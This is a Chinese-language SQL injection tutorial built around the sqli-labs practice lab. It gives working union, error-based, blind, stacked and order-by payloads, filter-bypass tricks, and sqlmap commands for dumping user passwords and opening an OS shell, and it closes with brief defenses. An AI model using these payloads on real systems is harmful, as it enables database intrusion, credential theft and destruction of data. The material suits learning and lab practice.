原理
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息
分类
盲注 Union注入 文件读写 报错注入 floor报错注入 ExtractValue报错注入 UpdataXml报错注入 时间盲注 REGEXP正则匹配 宽字节注入 堆叠注入 二次注入 User-Agent注入 Cookie注入 过滤绕过 万能密码
报错注入函数
updataxml() ExtractValue()
判断数据库类型
通过报错来判断
使用数据库特有的函数、符号来判断
使用该类型数据库特有的数据库、系统表
mysql: ?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1
mssql: ?id=1 and (select count(*) from sysobjects)>0 and 1=1
oracle: ?id=1 and (select count(*) from sys.user_tables)>0 and 1=1
通过数据库端口,默认端口来判断数据库类型
SQL注入
通过’或"等闭合语句,并在后面添加额外的SQL语句,添加注释符等使SQL语句能够成功被网页脚本执行,进而达到攻击目的
联合注入
sql语句中union的用法
操作符用于合并两个或多个 SELECT 语句的结果集。 union 内部的 select 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 select 语句中的列的顺序必须相同。
1.判断闭合方式
sql注入的原理之一就是闭合前面的sql语句,添加额外的sql语句来达到攻击效果
使用如下方式测试闭合,通过报错来判断闭合方式
’? ')? '))? "? ")? "))
2.判断列数
union需要select语句有相同数量的列,所以在使用之前需要判断列数
使用order by排序来判断列数。order by可以实现以列排序 例:order by 1; #以第一列排序,因为第一列存在所以不报错 order by 4; #第四列不存在,返回报错 因此可以确定表有三列
3.确定回显位置
使用union来确定回显位置
4.注入攻击,查询数据库名
使用information_schema
information_schema数据库是MySQL自带的,MySQL 5以下没有这个数据库,它提供了访问数据库元数据的方式。元数据中包含数据库名、表名、列名(字段名) 如果遇到MySQL5一下版本的数据库,需要通过爆破的方式查询数据库
union select 1,2,group_concat(schema_name) from information_schema.schemata 使用group_concat()可以将返回结果使用 , 相连接 查询所有数据库的名字
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() 查询当前数据库下表名
union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ 查询security数据库下,user表的所有列名
union select 1,2,group_concat(username) from security.users 查询security数据库下,user表中username
union select 1,2,group_concat(password) from security.users where username=‘Dumb’ 查询username为Dumb的password
报错注入
原理:SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能返回错误信息的情况下比较好用
整型溢出
MySQL版本限制5.5.47-5.5.53 当 MySQL 在某个数值列上存储超出列数据类型允许范围的值时,就会发生整型溢出,利用这个特性可以将查询结果的返回值(查询成功返回值为0)进行数学运算,产生整型溢出,报出查询的结果。
xpath语法报错
从mysql5.1.5开始提供两个XML查询和修改的函数,extractvalue和updatexml。它们的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里 报错信息有长度限制,需要使用limit一个个查询出来,或者利用字符串切片
报错注入,显示版本 union select updatexml(1,concat(0x7e,(select version()),0x7e),1) --+
sqli-labs第四关 /Less-4/?id=1") union select updatexml(1,concat(0x7e,(select version()),0x7e),1) --+ 使用extractvalue(1,concat(0x7e,(select version()),0x7e))
利用MySQL的一些特性
版本要求苛刻,使用MySQL自带的一些函数
盲注
盲注并不能获取注入语句的查询结果,只能通过回显差异性判断返回是否成功,所以一般采用逐字爆破的形式将所需数据爆破出来
需要用到的函数: length() 返回字符串的长度 substr(str,a,b) 从第a位开始截取字符串str 截取长度为b ascii() 返回字符的ascii码 sleep(n) 将程序挂起一段时间 n为n秒 if(expr1,expr2,expr3) 如果第一个语句正确就执行第二个语句,反之执行第三个语句
布尔盲注
服务端只会根据你的注入语句返回Ture跟Fales,而不会返回注入语句的查询结果、报错信息。通常是根据返回页面的正常与否、内容差异判定是否查询成功。 虽然没有结果返回,但是在后端是能够执行的
sqli-labs第八关 ?id=0’ or ascii(substr(version(),1,1))=53 --+ id=0为假,or连接,只要or后面内容为真,语句为真,因此要构造语句用来判断返回的值内容,逐个判断version()每个字段的ascii码,这样可以实现注入
时间注入
界面返回值只有true,无论输入语句,即使语句执行成功,但返回内容都没有任何变化。这时候可以通过时间函数,让结果延时返回,通过返回时常的差异判定是否查询成功。
二次注入
二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入
二次注入可以发生在多种地方,只要是服务器记录了用户的数据,再次使用的时候没有进行相应的处理都可能会发生二次注入
利用增删改注入
和查询注入类似,闭合sql语句,使用报错注入等来回显
sqli-labs 17关 POST传参:passwd=12313’ and updatexml(1,concat(0x7e,(select version()),0x7e),1) #&uname=admin&submit=Submit 分析php代码可知,此网页在修改用户密码的时候直接使用POST传passwd
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
传入后,为
$update="UPDATE users SET password = '12313' and updatexml(1,concat(0x7e,(select version()),0x7e),1) #&uname=admin&submit=Submit' WHERE username='$row1'";
直接注释掉后面的sql语句,使用报错注入
堆叠注入
在SQL中,分号(;)是用来表示一条sql语句的结束。在php中使用mysqli_multi_query()函数执行sql语句(一般情况下会使用mysqli_query())时可以使用;分割来同时执行多条sql语句,从实现注入
sqli-labs 38关 创建test表 ?id=0’; create table test like users --+ 删除test表 ?id=0’; drop table test --+
其他注入方式
order by注入
在order by语句注入,可以使用报错注入,盲注
sqli-labs 46关\
报错注入 ?sort=updatexml(1,concat(0x7e,(select version()),0x7e),1) --+
盲注,如果判断成功就执行if语句就返回1(正常的返回),失败则返回一个错误的返回,造成order by执行失败 sort=if((ascii(substr(version() ,1 ,1 ))=53), 1, (select username from users))–+
limit
在limit语句注入,mysql版本:5.0.0< MySQL <5.6.6 ps.新版本中不能够使用select,可以使用报错注入,盲注
LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
sqlmap使用
get注入
扫描url
sqlmap -u “http://192.168.16.129/sqli-labs/Less-46?sort=1” -dbs
扫描security库下的表
sqlmap -u “http://192.168.16.129/sqli-labs/Less-46?sort=1” -D security -tables
扫描security库users表的每一列
sqlmap -u “http://192.168.16.129/sqli-labs/Less-46?sort=1” -D security -T users --column
扫描security库users表拖库
sqlmap -u “http://192.168.16.129/sqli-labs/Less-46?sort=1” -D security -T users -C id,username,password --dump
post注入
扫描,使用data
sqlmap -u “http://192.168.16.129/sqli-labs/Less-11/” --data “passwd=passwd=12312&submit=Submit&uname=admin” --dbs
-r参数,可以从文件中获取request。抓包,将抓到的包保存,然后sqlmap -r读取使用
sqlmap -r /root/桌面/request -dbs
sqlmap获取webshell
sqlmap -u “http://192.168.16.129/sqli-labs/Less-1?id=1” --os-shell
条件:
- 知道web目录位置
- secure_file_prie= (一般root用户)
- web目录可写(可以找upload这种文件夹)
- GPC函数关闭(高版本默认关闭)
其他参数
-u : 指定目标URL -b : 获取DBMS banner –current-db : 获取当前数据库 –current-user:获取当前用户 –users : 枚举DBMS用户 –password : 枚举DBMS用户密码hash –level : 探测等级
SQL注入绕过
空格
括号绕过
select(username)from(users);
%0a等字符替代绕过:%00,%09,%0a,%0b,%0c,%0d,%20,%2b……
(内联)注释替代绕过:/* */,/!**/
select username/**/from users;
逗号
from for:substr(‘asdzxcqwe’ from 1 for 2); ?join:union select * from (select 1)a join (select 2)b join (select 3)c ?offset:limit 1 offset 0
单引号:
hex编码:SELECT password FROM Users WHERE username = 0x61646D696E char编码:SELECT FROM Users WHERE username = CHAR(97, 100, 109, 105, 110) %2527:`magic_quotes_gpc`开启可用
比较符号:
等于:=、like、regexp、rlike(默认不匹配大小写,需添加关键字binary) ?>不等于:!=、<> ?>大小于:greatest()、least() select greatest(ord(‘a’),0)=97; select ord(‘a’) between 0 and 97 select (ord(substr('asd’from 1 for 1)) in (97))
注释符
? – -、–+、#、%23、;%00
等效函数
hex() bin() ascii() ord()
sleep() benchmark(5000000,select 1)
concat_ws() group_concat() mid() substr() substring()
@@user user()
@@datadir datadir()
……
SQL注入防御
1.严格限制网站访问数据库的权限。
2.数据类型进行严格定义,数据长度进行严格规定。 比如查询数据库某条记录的id,定义它为整型(强制类型转换),如果用户传来的数据不满足条件,要对数据进行过滤。数据长度也应该做严格限制,可以防止较长的SQL注入语句。
3.对用户输入进行转过滤 例如通过转义将’转义为’
4.基于攻击特征的匹配过滤 黑名单白名单
5.采用sql语句预编译order by / limit 先将查询语句固定 通过函数将传参变为字符串 拼接字符串去执行 你的关键字根本不会当作关键字去执行
|